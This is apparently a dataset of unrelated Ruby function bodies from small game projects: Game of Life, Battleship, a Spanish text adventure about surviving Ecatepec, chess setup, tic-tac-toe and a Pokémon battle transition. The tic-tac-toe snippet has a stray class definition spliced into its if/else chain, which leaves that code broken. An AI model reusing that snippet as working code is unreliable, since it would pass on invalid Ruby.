PARA PASAR POR EL ARREGLO HASTA ENCONTRAR LAS CELDAS VIVAS O LAS CELULAS MUERTAS QUE CUMPLEN CON LA REGLA 4\r\n\t\tfor f in 0..@y1-1\r\n\t\t\tfor c in 0..@x1-1\r\n\r\n\t\t\t\tif @matriz[f][c] == true\r\n\t\t\t\t\tVecinos(@matriz,f,c) #checo cuantos vecinos tengo alrededor\r\n\t\t\t\t\tReglas(@matriz,@matrizTMP,@cuantos,f,c)#verifico si cumple alguna regla de conway\r\n\r\n\t\t\t\t\t\t\r\n\t\t\t\telse # de lo contrario la celda esta en false y debo comprobar la regla 4\r\n\t\t\t\t\t\r\n\t\t\t\t\tVecinos(@matriz,f,c) #regreso cuantos vecinos tiene vivos\r\n\t\t\t\t\t#REGLA 4. Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.\r\n\t\t\t\t\tif @cuantos == 3\r\n\t\t\t\t\t\t@matrizTMP[f][c] = true\r\n\t\t\t\t\tend\r\n\t\t\t\tend #cierra if\r\n\t\t\tend #cierra ciclo for\r\n\t\tend #cierra ciclo for \r\n\r\n\t\t#ACTUALIZO LA MATRIZ CON LA TEMPORAL QUE ES COMO DEBE QUEDAR AHORA EL JUEGO\r\n\t\tfor f in 0..@y1-1\r\n\t\t\tfor c in 0..@x1-1\r\n\t\t \t\t@matriz[f][c]=@matrizTMP[f][c]\r\n\t\t\tend\r\n\t\tend\r\n\r\n\tend", "def populate\n self.start_coordinate_x = rand(11)\n self.start_coordinate_y = rand(11)\n if ship_position == 'vertical'\n self.end_coordinate_x = self.start_coordinate_x\n self.end_coordinate_y = (self.start_coordinate_y + SHIP_SIZE) > MAX_SIZE_BOARD ? (self.start_coordinate_y - SHIP_SIZE) : (self.start_coordinate_y + SHIP_SIZE)\n else\n self.end_coordinate_y = self.start_coordinate_y\n self.end_coordinate_x = (self.start_coordinate_x + SHIP_SIZE) > MAX_SIZE_BOARD ? (self.start_coordinate_x - SHIP_SIZE) : (self.start_coordinate_x + SHIP_SIZE)\n end\n end", "def initialize\n @x\n @y\n @facing\n @placed = false\n end", "def initialize\n @referee = Referee.new\n @win_referee = Referee.new(:winner)\n end", "def create_game2(state, substate, money, life, fights, respect)\n\n game = GameController.new(money,life,fights,respect)\n\n\n########################################################################################################################################\n##Room 7\n\n move = Move.new(0, \"Para entrar dirigete al norte\" , \n Proc.new{|room, game| game.go_state(40) ; \"Estas entrando\"} , nil,nil, nil)\n room1 = Room.new(7,\"Despiertas en un lugar lugubre, lo unico que alcanzas a ver es un letrero que dice Bienvenido a Ecatepec\")\n room1.state = move\n room1.add_state(move)\n game.set_state(7, room1)\n\n########################################################################################################################################\n##Room 40\n room40 = Room.new(40,\"Comienzas a caminar, huele a drogas en el aire\")\n move = Move.new(0, \"Te espantas así que tienes dos opciones: ir al sur para huir, o entrar a una tienda que encuentras abierta al este\" , \n nil , Proc.new{|room, game| game.go_state(7) ; \"Has Huido\"} , Proc.new{|room, game| game.go_state(29) ; game.respect+=5; \"Entraste a la tienda, tu respeto aumentó\"} , nil)\n room40.state = move\n room40.add_state(move)\n game.set_state(40, room40)\n\n\n\n########################################################################################################################################\n##Room 29\n room29 = Room.new(29,\"La tienda tiene rastros de que hubo una pelea aqui\")\n coin1 = CoinFlipper.new(0,\"Tira una moneda para probar tu suerte\", \n Proc.new{|room, game| room.go_sub(1); \"Encontraste una cartera\"} , \n Proc.new{|room, game| room.go_sub(2); \"Alguien te ha retado\"})\n coin2 = CoinFlipper.new(1,\"Tira una moneda para probar tu suerte\", \n Proc.new{|room, game| game.money += 200; room.go_sub(4); \"Encontraste 200 varos\"} , \n Proc.new{|room, game| room.go_sub(2); \"Alguien viene\"}) \n fight1 = Fight.new(2, \"La Britney te ha retado a unos navajasos, puedes huir si le das 50 varos o puedes pelear con ella\" , \n Proc.new{|room, game| room.go_sub(3); \"Estas entrando a la pelea...\"} , \n Proc.new{|room, game| \n if game.money >= 50 \n game.money -=50\n game.respect -=5\n room.go_sub(4)\n \"Has huido, tu respeto baja\"\n else \n \"No puedes huir\"\n end\n })\n coin3 = CoinFlipper.new(3,\"Tira una moneda para probar tu suerte en la pelea\", \n Proc.new{|room, game| room.go_sub(4); game.respect +=15 ; game.fights += 1; \"Has derrotado a la Britney, tu respeto aumenta\"} , \n Proc.new{|room, game| room.go_sub(4); game.life-=15; \"La britney te ha derrotado y tu vida baja 15 puntos\"})\n move = Move.new(4, \"Para salir de la tienda ve al norte , para ir a otro lado y probar tu suerte ve al este.\" , \n Proc.new{|room, game| game.go_state(40) ; \"Sales de la tienda\"} , nil, Proc.new{|room, game| game.go_state(6) ; \"Entras al este\"}, nil)\n\n room29.state= coin1\n room29.add_state(coin1).add_state(coin2).add_state(fight1).add_state(coin3).add_state(move)\n game.set_state(29, room29)\n\n########################################################################################################################################\n##Room 6\n\n room6 = Room.new(6,\"Sales a una avenida principal con forma de L, ves a drogadictos tirados en el piso pidiendo dinero.\")\n coin1 = CoinFlipper.new(0,\"Hay un sonido repentino, giras. Tira una moneda\", \n Proc.new{|room, game| game.go_state(43); \"Te diriges al oeste\"} , \n Proc.new{|room, game| room.go_sub(1); \"Solo hay una ventana\"})\n move = Move.new(1, \"Si quieres asomarte ve al este si quieres seguir por la calle ve al norte \" , \n Proc.new{|room, game| game.go_state(29) ; \"Sigues por la calle\"} , nil, Proc.new{|room, game| game.go_state(28) ; \"Decides asomarte\"}, nil)\n room6.state = coin1\n room6.add_state(coin1).add_state(move)\n game.set_state(6, room6)\n\n########################################################################################################################################\n##Room 28\n\n\n room28 = Room.new(28,\"Alcanzas a ver un Mercado artesanal a la distancia, intentas ver que hay y encuentras la puerta a un edificio que parece tener un teléfono\")\n move = Move.new(0, \"Ve hacia el este\" , \n nil, nil, Proc.new{|room, game| game.go_state(6) ; \"Te diriges al este\"}, nil)\n room28.state = move\n room28.add_state(move)\n game.set_state(28, room28)\n\n\n########################################################################################################################################\n##Room 43\n room43 = Room.new(43, \"El barrio esta cada vez más lugubre\")\n coin1 = CoinFlipper.new(0,\"El lider de los metalicos llamado “El brayan” te reta a unos navajazos a muerte, tira una moneda\", \n Proc.new{|room, game| room.go_sub(1); \"El Brayan ha intentado picarte pero lo esquivaste\"} , \n Proc.new{|room, game| game.go_state(36); game.respect= 0; game.life -= 30; \"El Brayan te ha soltado un navajazo mortal y se ha ido. Has perdido todo tu respeto y tu vida baja 30 puntos\"})\n coin2 = CoinFlipper.new(1,\"La pelea sigue, tira otra moneda para probar tu suerte\", \n Proc.new{|room, game| room.go_sub(2); game.respect+=100; game.fights+=1; \"Esquivaste otro najajazo y lograste vencerlo, tu respeto aumenta considerablemente\"} , \n Proc.new{|room, game| game.go_state(36); game.respect= 0; game.money = 0; game.life -= 30; \"El Brayan te derrotó con una patada mortal. Has perdido todo tu respeto y dinero, tu vida baja 30 puntos\"})\n coin3 = CoinFlipper.new(2,\"El brayan soltó una mona de guayaba, la tomas, tira una moneda\", \n Proc.new{|room, game| game.go_state(36); game.life = 100; \"La mona tiene grandes poderes curativos, tu vida está al máximo\"} , \n Proc.new{|room, game| game.go_state(36); game.life -= 5; \"La mona tiene malos efectos, tu vida baja\"})\n room43.state = coin1\n room43.add_state(coin1).add_state(coin2).add_state(coin3)\n game.set_state(43, room43)\n\n\n########################################################################################################################################\n##Room 36\n room36 = Room.new(36, \"Sigues caminando por la calle, ves una Fuente en donde varias personas se estan bañando\")\n coin1 = CoinFlipper.new(0,\"Tira una moneda\", \n Proc.new{|room, game| game.go_state(41); \"Ahora te diriges al norte\"} , \n Proc.new{|room, game| game.go_state(15); \"Ahora te dirijes al sur\"})\n room36.state = coin1\n room36.add_state(coin1)\n game.set_state(36, room36);\n \n\n\n########################################################################################################################################\n##Room 41\n room41 = Room.new(41, \"Dejas la fuente atras y descubres una calle llena de cholos\")\n coin1 = CoinFlipper.new(0,\"Tira una moneda para decidir a que cholo dirigirte\", \n Proc.new{|room, game| room.go_sub(1); game.respect+=20; \"Le has caido bien al cholo, se ponen a bailar cholocumbia y tu respeto aumenta\"} , \n Proc.new{|room, game| room.go_sub(1); game.life-=15; \"El cholo te ha mordido y tu vida baja 15 puntos\"})\n move = Move.new(1, \"Dirigete al sur\" , \n nil , Proc.new{|room, game| game.go_state(35) ; \"Caminas hacia el sur\"} ,nil, nil)\n #35\n room41.state = coin1\n room41.add_state(coin1).add_state(move)\n game.set_state(41, room41)\n\n########################################################################################################################################\n##Room 15\n\n room15 = Room.new(15, \"En la misma calle descubres una gasolinera\")\n move = Move.new(0, \"Si quieres explorar la gasolinera ve hacia el norte. Si quieres huir ve hacia el sur\" , \n Proc.new{|room, game| game.go_state(12) ; \"Caminas hacia el norte para explorar\"} , Proc.new{|room, game| game.go_state(24) ; \"Caminas hacia el sur\"} ,nil, nil)\n room15.state = move\n room15.add_state(move)\n game.set_state(15, room15)\n\n########################################################################################################################################\n##Room 12\n\n room12 = Room.new(12, \"Entras al edificio de la gasolinera lentamente, huele a mona de guayaba\")\n coin1 = CoinFlipper.new(0,\"Has encontrado una mochila, puede contener buenas cosas. Prueba tu suerte tirando una moneda\", \n Proc.new{|room, game| game.go_state(42); game.respect+=3; \"Has encontrado una navaja legendaria, tu respeto incrementará\"} , \n Proc.new{|room, game| game.go_state(42); game.life-=3; \"La mochila contenía jeringas usadas, te picas con una de ellas y tu vida baja. Escapas de ese lugar por el sur\"})\n\n room12.state = coin1\n room12.add_state(coin1)\n game.set_state(12, room12)\n\n########################################################################################################################################\n##Room 24 \n room24 = Room.new(24, \"Este lugar es totalmente diferente a todos los demás, un hermoso y limpio jardín en donde descansar\")\n move = Move.new(0, \"Por lugar para descansar, tu vida subiera a 90 puntos cuando decidas salirte. camina hacia el Sur\" , \n nil , Proc.new{|room, game| game.go_state(42); game.life=90; \"Caminas hacia el sur\"} ,nil, nil)\n\n room24.state= move\n room24.add_state(move)\n game.set_state(24, room24)\n\n########################################################################################################################################\n##Room 35\n\n room35 = Room.new(35, \"Llegas al cuarto principal de la bodega, ahi se encuentra el jardin “magico” lleno de droga\")\n coin1 = CoinFlipper.new(0,\"Hay un obstaculo en el camino, tira una moneda para probar tu suerte\", \n Proc.new{|room, game| game.go_state(8); \"Te haz tropezado y causado un alboroto en la otra sala\"} , \n Proc.new{|room, game| game.go_state(9); \"Has pasado el obstaculo y ahora sales de la sala\"})\n room35.state = coin1\n room35.add_state(coin1)\n game.set_state(35, room35)\n\n########################################################################################################################################\n##Room 42\n\nroom42 = Room.new(42, \"Has llegado al zócalo de Ecatepec, el lugar esta muy concurrido y hay diferentes calles y una casa que llama mucho la atención \")\n move = Move.new(0, \"Para observar lo que hay dentro de la casa, camina hacia el Sur. \n Si quieres dirigirte al estacionamiento ve hacia el Este. \n Camina hacia el Norte si deseas ir a la calle de enfrente, o al Oeste para la calle de a lado \",\n Proc.new{|room, game| game.go_state(9); \"Vas en camino hacia la calle que sigue\"},\n Proc.new{|room, game| game.go_state(26); \"Caminas hacia la casa extraña\"},\n Proc.new{|room, game| game.go_state(13); \"Te acercas al estacionamiento\"},\n Proc.new{|room, game| game.go_state(38); \"Vas camino a la calle de a lado\"} )\n room42.state = move\n room42.add_state(move)\n game.set_state(42, room42)\n\n########################################################################################################################################\n##Room 8\nroom8 = Room.new(8, \"Estas en la sala especialde la bodega, aqui todos parecen sospechosos\")\ncoin1 = CoinFlipper.new(0, \"Un chaca llamado “El aletz” te ataca con un picahielo. Tira una moneda para ver que pasa\",\n Proc.new{|room, game| game.go_state(43); game.life-=15; \"El aletz te ha clavado, tu vida baja y escapas del lugar\"},\n Proc.new{|room, game| game.go_state(43); game.respect+=20; \"Has derrotado al aletz, y sales inmediatamente de la sala\"})\nroom8.state = coin1\nroom8.add_state(coin1);\ngame.set_state(8, room8)\n\n########################################################################################################################################\n##Room 9\n\nroom9 = Room.new(9, \"Sigues en la gran bodega y encuentras varias cajas\")\nmove = Move.new(0, \"Tienes la opción de seguir en la pbodega por el Este, o salir por el Sur\",\n nil ,\n Proc.new{|room, game| game.go_state(41); \"Estas saliendo del lugar\"},\n Proc.new{|room, game| game.go_state(8); \"Te adentras más a la bodega\"}, nil)\nroom9.state = move\nroom9.add_state(move)\ngame.set_state(9, room9)\n\n\n########################################################################################################################################\n##Room 13\n\n room13 = Room.new(13, \"Te encuentras en un estacionamiento bastante oscuro y con poco carros, el olor a gasolina emana de todos lados\")\n coin1 = CoinFlipper.new(0, \"Un viene viene con un flow violento te ataca. Tira una moneda para ver si puedes vencerlo\",\n Proc.new{|room, game| game.go_state(42); game.respect+=10; \"Le has vencido y tu respeto aumenta\"},\n Proc.new{|room, game| game.go_state(42); game.life-=10; \"El viene viene te ha derrotado, tu vida baja 10 puntos \"})\n room13.state = coin1\n room13.add_state(coin1)\n game.set_state(13, room13)\n\n\n########################################################################################################################################\n##Room 26\n\n room26 = Room.new(26, \"La casa es bastante extraña y hay unos sujetos con cara de pocos amigos\")\n fight1 = Fight.new(0, \"Para pasar de ahi tienes dos opciones, huir y dales 100 varos a los sujetos o pelear con ellos\",\n Proc.new{|room, game| game.go_state(42); game.life -=20 ; game.respect+=50; \"Los sujetos te atacan con todas sus armas y pierdes mucha vida\"},\n Proc.new{|room, game| game.go_state(42); game.money-=100 ; \"Le pagas su moche a todos y te vas\"})\n room26.state = fight1\n room26.add_state(fight1)\n game.set_state(26, room26)\n\n########################################################################################################################################\n##Room 38\n \n room38 = Room.new(38, \"Esta parece ser una avenida principal, hay mucho trasporte publico por aquí\")\n coin1 = CoinFlipper.new(0, \"A lo lejos encuentras el TrasnporTEC, tira una moneda para ver si lo alcanzas\",\n Proc.new{|room, game| game.go_state(14); \"Lo has alcanzado, estas salvado\"},\n Proc.new{|room, game| game.go_state(6); \"Lastima, te ha dejado el camión y ahora estas perdido\"})\n room38.state = coin1\n room38.add_state(coin1)\n game.set_state(38, room38)\n\n########################################################################################################################################\n##Room 14\n\n room14 = Room.new(14, \"Lo has logado, sobreviviste a Ecatepec. Ahora estas comodamente en el camión camino a tu nueva aventura en los examenes finales, Buena suerte\")\n move = Move.new(0, \"Disfruta tu camino al Tec\" ,\n Proc.new{\"Relajate, para qué te mueves? Todo esta bien\"},\n Proc.new{\"Relajate, para qué te mueves? Todo esta bien\"},\n Proc.new{\"Relajate, para qué te mueves? Todo esta bien\"},\n Proc.new{\"Relajate, para qué te mueves? Todo esta bien\"})\n room14.state = move\n room14.add_state(move)\n game.set_state(14, room14)\n\n\n\n\n\n game.go_state(state)\n game.state.go_sub(substate)\n game\n\nend", "def initialize_position\n done = false\n pos = {:facing => Game::FACINGS[rand(4)]}\n while not done do\n start_at = rand(board_size * board_size)\n start_at = [start_at / board_size, start_at % board_size]\n done = players(:x_pos => start_at[0], :y_pos => start_at[1]).empty?\n end\n pos[:x] = start_at[0]\n pos[:y] = start_at[1]\n pos\n end", "def new_rooms\n min_rooms = MIN_NEXT_ROOMS\n max_rooms = MAX_NEXT_ROOMS\n rand(min_rooms..max_rooms).times do\n @next_rooms << Zarta::Room.new(@dungeon)\n end\n end", "def place_object\n @board.place_object *next_position\n end", "def put_pawns\n row = 1\n color = \"w\"\n 2.times do\n @@board[row].each_index do |i|\n @@board[row][i] = Pawn.new(i, row, color)\n end\n row = 6\n color = \"b\"\n end\n end", "def init_opponent_board\n board = Board.create_opponent_board(self.id)\n board.place_ships\n end", "def initialize(ac,ve,lo,r) \n @acc = PVector.new(ac.x, ac.y, ac.z)\n @vel = PVector.new(ve.x, ve.y, ve.z)\n @loc = PVector.new(lo.x, lo.y, lo.z)\n @r = 10\n @timer = 100.0\n @maxspeed = 2\n end", "def create_mission_resources\n get_instructions\n map_plateau\n land_rovers\n end", "def initial_piece_placements\n self.grid.each_with_index do |row, row_idx|\n row.each_with_index do |cell, cell_idx|\n pos = [row_idx, cell_idx]\n if pos.all? {|coord| coord.even?} || pos.all? {|coord| coord.odd?}\n if row_idx < 3\n self[pos] = Piece.new(self, pos, :white)\n elsif row_idx >= 5\n self[pos] = Piece.new(self, pos, :black)\n end\n end\n end\n end\n end", "def initialize(pos_origen, pos_final)\n\n @pos_origen = pos_origen\n @pos_final = pos_final\n\n end", "def initialize\n super\n @op_hand = Array.new\n @my_hand = Array.new\n @unseen = Array.new\n @op_lands = Hash.new\n @discards = Hash.new\n @my_lands = Hash.new\n Game::LANDS.each do |land|\n @op_lands[land] = Array.new\n @discards[land] = Array.new\n @my_lands[land] = Array.new\n end\n moveover\n gameover\n end", "def output\n @rovers.each do |rover|\n puts '%d %d %s' %rover.position if @map.rover_inside_plateu?(rover)\n end\n end", "def build_ship\n r = Random.new\n ok=false\n while !ok do\n horv=r.rand(1..2) # 1 = vertical 2 = Horiz\n x1=r.rand(1..6)\n y1=r.rand(1..6)\n\n ok= !self.check_ship(horv,x1,y1)\n end #while\n\n if horv==1 #build in vertical position row increases\n (x1..x1+4).each { |r| # row changes y stayes same\n sq=self.squares.find{|s| s.rowid == r && s.colid==y1}\n sq.empty=false\n sq.ship=true\n }\n else\n (y1..y1+4).each { |c| # row changes y stayes same\n sq=self.squares.find{|s| s.rowid == x1 && s.colid==c}\n sq.empty=false\n sq.ship=true\n }\n end #if\n end", "def initialize_board\n # Non-pawns for black player:\n Rook.create(x_position: 1, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Knight.create(x_position: 2, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Bishop.create(x_position: 3, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Queen.create(x_position: 4, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n King.create(x_position: 5, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Bishop.create(x_position: 6, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Knight.create(x_position: 7, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Rook.create(x_position: 8, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n\n # Non-pawns for white player:\n Rook.create(x_position: 1, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Knight.create(x_position: 2, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Bishop.create(x_position: 3, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Queen.create(x_position: 4, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n King.create(x_position: 5, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Bishop.create(x_position: 6, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Knight.create(x_position: 7, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Rook.create(x_position: 8, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n\n # Pawns for both players:\n for i in 1..8\n Pawn.create(color: \"black\", x_position: i, y_position: 2, game_id: id, player_id: black_player_id)\n Pawn.create(color: \"white\", x_position: i, y_position: 7, game_id: id, player_id: white_player_id)\n end\n\n self.counter = 0\n # Saves the counter to the database.\n self.save\n end", "def get_object\n next_x = @cur_x + DIRECTION[@hero_direction][0]\n next_y = @cur_y + DIRECTION[@hero_direction][1]\n return if next_x < 0 || next_x > 14 || next_y < 0 || next_y > 14\n #look at new square in room\n next_square = @room[next_x][next_y]\n if next_square == CHAR_POTION || next_square == CHAR_CHEST || next_square == CHAR_IDOL\n @room[next_x][next_y] = CHAR_FLOOR\n draw_map(next_x,next_y)\n @potions += 1 if next_square == CHAR_POTION\n @treasure += 1 if next_square == CHAR_CHEST\n @idol_found = true if next_square == CHAR_IDOL\n @stats[:experience] += 0.25\n end\n end", "def init_player_board\n board = Board.create_player_board(self.id)\n board.place_ships\n end", "def initialize\r\n @grid = Array.new(7){[]}\r\n @turns = 0\r\n end", "def commandnewgame_sceneswitch\r\n # Switch to map screen\r\n $scene = Scene_Map.new\r\n end", "def carve_passages\n\n\t\t# \n\t\t# Select random pointin the grid to begin carving\n\t\t#\n\t\tmark( rand(@width) , rand(@height) )\n\n\t\t# \n\t\t# Marking an empty matrix creates a frontier. \n\t\t# Keep going until there is no frontier.\n\t\t#\n\t\tuntil @frontier.empty?\n\n\t\t\t# \n\t\t\t# Randomly select a frontier point, and \n\t\t\t# randomly selected one of the neighboring\n\t\t\t# points to that frontier point.\n\t\t\t#\n\t\t\tx, y = @frontier.delete_at( rand(@frontier.length) )\n\t\t\tn = neighbors(x, y)\n\t\t\tnx, ny = n[ rand(n.length) ]\n\n\t\t\t#\n\t\t\t# \"Knock down\" the wall between the selected\n\t\t\t# frontier point and its neighbor.\n\t\t\t#\n\t\t\tdir = direction(x, y, nx, ny)\n\t\t\t@grid[y][x] |= dir\n\t\t\t@grid[ny][nx] |= @@OPPOSITE[dir]\n\n\t\t\t# \n\t\t\t# Recursively mark the newly selected point.\n\t\t\t#\n\t\t\tmark(x, y)\n\n\t\t\t#\n\t\t\t# If we are animating, display the maze\n\t\t\t#\t\t\n\t\t\tif @animate\n\t\t\t\tdisplay\n\t\t\t\tsleep @delay \n\t\t\tend\n\t\tend\n\n\t\t#\n\t\t# If we are animating, display the maze (one last time)\n\t\t#\n\t\tif @animate\n\t\t\tdisplay\n\n\t\t\t# \n\t\t\t# Output maze metadata.\n\t\t\t#\n\t\t\tputs metadata\n\t\tend\n\tend", "def initialize\n @rows = Array.new(8) {Array.new(8)}\n fill_royal_court(:white, 0)\n fill_pawns(:white, 1)\n fill_pawns(:black, 6)\n fill_royal_court(:black, 7)\n @en_passant = nil\n end", "def play\n rematch = true\n while rematch == true do\n @plateau = Board.new\n tour = 1\n puts \"-----------------------------------------------------------------------------------\"\n puts \"| Welcome to the game Tic-tac-toe !!! |\"\n puts \"-----------------------------------------------------------------------------------\"\n puts \"Veuillez entrer le nom du Joueur X:\"\n a = gets.chomp # On demande le nom du premier joueur\n puts \"Veuillez entrer le nom du Joueur O:\"\n b = gets.chomp # On demande le nom du second joueur\n\n @gamer1.name = a # On enregistre le nom du premier joueur\n @gamer2.name = b # On enregistre le nom du second joueur\n \n while tour != 10 do\n @plateau.view_board # On affiche le plateau de jeux\n puts \"\\n\"\n if tour % 2 == 0 # Quand c'est le tour du deuxieme joueur\n puts \"Au tour du joueur O (#{@gamer2.name.capitalize})\"\n p = gets.chomp # On l'invite a saisir une position\n\n # Tant que la case n'existe pas, on demande au joueur O de resaisir une position existante\n while !@positions[p.upcase.to_sym] do \n puts \"Cette position n'existe pas #{@gamer2.name.capitalize}, veuillez resaisir:\" \n p = gets.chomp\n end\n\n # Tant que la case n'est pas vide on l'invite a choisir une autre case\n while @plateau.verify_case(@positions[p.upcase.to_sym]) != \" \" do\n puts \"Cette position est deja prise #{@gamer2.name.capitalize}, veuillez resaisir:\" \n p = gets.chomp\n end\n\n # On attribue la case au joueur O\n @plateau.set_position(@positions[p.upcase.to_sym], \"O\")\n\n # On verifie si le joueur O gagne\n if @plateau.game_over(\"O\") # Si oui, on arrete le jeux et le joueur O gagne\n tour = 10\n @gamer2.victory = true\n else\n tour += 1 # Sinon, on passe au tour suivant\n end\n else\n puts \"Au tour du joueur X (#{@gamer1.name.capitalize})\"# Quand c'est le tour du premier joueur\n p = gets.chomp # On l'invite a saisir une position\n\n # Tant que la case n'existe pas, on demande au joueur X de resaisir une position existante\n while !@positions[p.upcase.to_sym] do \n puts \"Cette position n'existe pas #{@gamer1.name.capitalize}, veuillez resaisir:\" \n p = gets.chomp\n end\n\n # Tant que la case n'est pas vide on l'invite a choisir une autre case\n while @plateau.verify_case(@positions[p.upcase.to_sym]) != \" \" do\n puts \"Cette position est deja prise #{@gamer1.name.capitalize}, veuillez resaisir:\" \n p = gets.chomp\n end\n\n # On attribue la case au joueur O\n @plateau.set_position(@positions[p.upcase.to_sym], \"X\")\n\n # On verifie si le joueur X gagne\n if @plateau.game_over(\"X\")# Si oui, on arrete le jeux et le joueur X gagne\n tour = 10\n @gamer1.victory = true\n else\n tour += 1 # Sinon, on passe au tour suivant\n end\n end\n end\n \n # On affiche le resultat du plateau de jeu final\n @plateau.view_board\n \n # On check ce qui a gagne ou si c'etait un match nul\n if @gamer1.victory == true\n puts \"Bravo #{@gamer1.name.upcase}! T'as gagné !!!!\"\n elsif @gamer2.victory == true\n puts \"Bravo #{@gamer2.name.upcase}! T'as gagné !!!!\"\n elseclass Board_case\n attr_accessor :status\n def initialize(status=\" \")\n @status = status\n end\n else\n puts \"Match nul!!!!!\"\n end\n\n # On invite les joueurs a faire une autre partie\n puts \"\\n\\nFaire une revenche?\\n-Tappe 1 si Oui\\n-Tappe 2 si Non\"\n v = gets.chomp\n quit = false\n while quit != true do\n if v == \"1\"\n quit = true\n elsif v == \"2\"\n quit = true\n rematch = false\n puts \"thanks for playing with Tic Tac Toe! :)\"\n else\n quit = false\n puts \"\\n\\nTapez:\\n1- Pour recommencer\\n2- Pour quitter\"\n v = gets.chomp\n end\n end\n end\nend", "def print_plateau(rovers)\n (0..boundary_y).reverse_each do |y|\n grid = \"\"\n (0..boundary_x).each do |x|\n roverNames = \"\"\n rovers.each_with_index do |rover, index|\n roverNames = \" #{index+1}\" if rover.position_x == x && rover.position_y == y\n end\n grid += roverNames.empty? ? \" +\" : roverNames\n end\n puts grid\n end\n end", "def initialize(*args)\n return if args.length < 4\n # sets up main viewports\n @started = false\n @viewport = args[0]\n @viewport.color = Color.new(255,255,255,EliteBattle.get(:colorAlpha))\n EliteBattle.set(:colorAlpha,0)\n @msgview = args[1]\n # sets up variables\n @disposed = false\n @sentout = false\n @scene = args[2]\n @trainer = args[3]\n @trainertype = GameData::TrainerType.get(@trainer.trainer_type)\n @speed = 1\n @frames = 1\n @curFrame = 1\n @sprites = {}\n @evilteam = EliteBattle.can_transition?(\"evilTeam\", @trainertype.id, :Trainer, @trainer.name, @trainer.partyID)\n @teamskull = EliteBattle.can_transition?(\"teamSkull\", @trainertype.id, :Trainer, @trainer.name, @trainer.partyID)\n # retreives additional parameters\n self.getParameters(@trainer)\n # initializes the backdrop\n args = \"@viewport,@trainertype,@evilteam,@teamskull\"\n var = @variant == \"trainer\" ? \"default\" : @variant\n # check if can continue\n unless var.is_a?(String) && !var.empty?\n EliteBattle.log.error(\"Cannot get VS sequence variant for Sun/Moon battle transition for trainer: #{@trainertype.id}!\")\n var = \"default\"\n end\n # loag background effect\n @sprites[\"background\"] = eval(\"SunMoon#{var.capitalize}Background.new(#{args})\")\n @sprites[\"background\"].speed = 24\n # trainer shadow\n @sprites[\"shade\"] = Sprite.new(@viewport)\n @sprites[\"shade\"].z = 250\n # trainer glow (left)\n @sprites[\"glow\"] = Sprite.new(@viewport)\n @sprites[\"glow\"].z = 250\n # trainer glow (right)\n @sprites[\"glow2\"] = Sprite.new(@viewport)\n @sprites[\"glow2\"].z = 250\n # trainer graphic\n @sprites[\"trainer_\"] = Sprite.new(@viewport)\n @sprites[\"trainer_\"].z = 350\n file = sprintf(\"Graphics/EBDX/Transitions/%s\", @trainertype.id)\n file = sprintf(\"Graphics/EBDX/Transitions/trainer%03d\", @trainertype.id_number) if !pbResolveBitmap(file)\n @sprites[\"trainer_\"].bitmap = pbBitmap(file)\n # splice bitmap\n if @sprites[\"trainer_\"].bitmap.height > @viewport.height\n @frames = (@sprites[\"trainer_\"].bitmap.height.to_f/@viewport.height).ceil\n @sprites[\"trainer_\"].src_rect.height = @viewport.height\n end\n @sprites[\"trainer_\"].ox = @sprites[\"trainer_\"].src_rect.width/2\n @sprites[\"trainer_\"].oy = @sprites[\"trainer_\"].src_rect.height/2\n @sprites[\"trainer_\"].x = @viewport.width/2 if @variant != \"plasma\"\n @sprites[\"trainer_\"].y = @viewport.height/2\n @sprites[\"trainer_\"].tone = Tone.new(255,255,255)\n @sprites[\"trainer_\"].zoom_x = 1.32 if @variant != \"plasma\"\n @sprites[\"trainer_\"].zoom_y = 1.32 if @variant != \"plasma\"\n @sprites[\"trainer_\"].opacity = 0\n # sets a bitmap for the trainer\n bmp = Bitmap.new(@sprites[\"trainer_\"].src_rect.width, @sprites[\"trainer_\"].src_rect.height)\n bmp.blt(0, 0, @sprites[\"trainer_\"].bitmap, Rect.new(0, @sprites[\"trainer_\"].src_rect.height*(@frames-1), @sprites[\"trainer_\"].src_rect.width, @sprites[\"trainer_\"].src_rect.height))\n # colours the shadow\n @sprites[\"shade\"].bitmap = bmp\n @sprites[\"shade\"].center!(true)\n @sprites[\"shade\"].color = Color.new(10,169,245,204)\n @sprites[\"shade\"].color = Color.new(150,115,255,204) if @variant == \"elite\"\n @sprites[\"shade\"].color = Color.new(115,216,145,204) if @variant == \"digital\"\n @sprites[\"shade\"].opacity = 0\n @sprites[\"shade\"].visible = false if @variant == \"crazy\" || @variant == \"plasma\"\n # creates and colours an outer glow for the trainer\n c = Color.black\n c = Color.white if @variant == \"crazy\" || @variant == \"digital\" || @variant == \"plasma\"\n @sprites[\"glow\"].bitmap = bmp\n @sprites[\"glow\"].center!\n @sprites[\"glow\"].glow(c, 35, false)\n @sprites[\"glow\"].color = c\n @sprites[\"glow\"].y = @viewport.height/2 + @viewport.height\n @sprites[\"glow\"].src_rect.set(0,@viewport.height,@viewport.width/2,0)\n @sprites[\"glow\"].ox = @sprites[\"glow\"].src_rect.width\n @sprites[\"glow2\"].bitmap = @sprites[\"glow\"].bitmap\n @sprites[\"glow2\"].center!\n @sprites[\"glow2\"].ox = 0\n @sprites[\"glow2\"].src_rect.set(@viewport.width/2,0,@viewport.width/2,0)\n @sprites[\"glow2\"].color = c\n @sprites[\"glow2\"].y = @viewport.height/2\n # creates the fade-out ball graphic overlay\n @sprites[\"overlay\"] = Sprite.new(@viewport)\n @sprites[\"overlay\"].z = 999999\n @sprites[\"overlay\"].bitmap = Bitmap.new(@viewport.width,@viewport.height)\n @sprites[\"overlay\"].opacity = 0\n end", "def new_piece\n next_tetromino\n\n col = @columns / 2 - 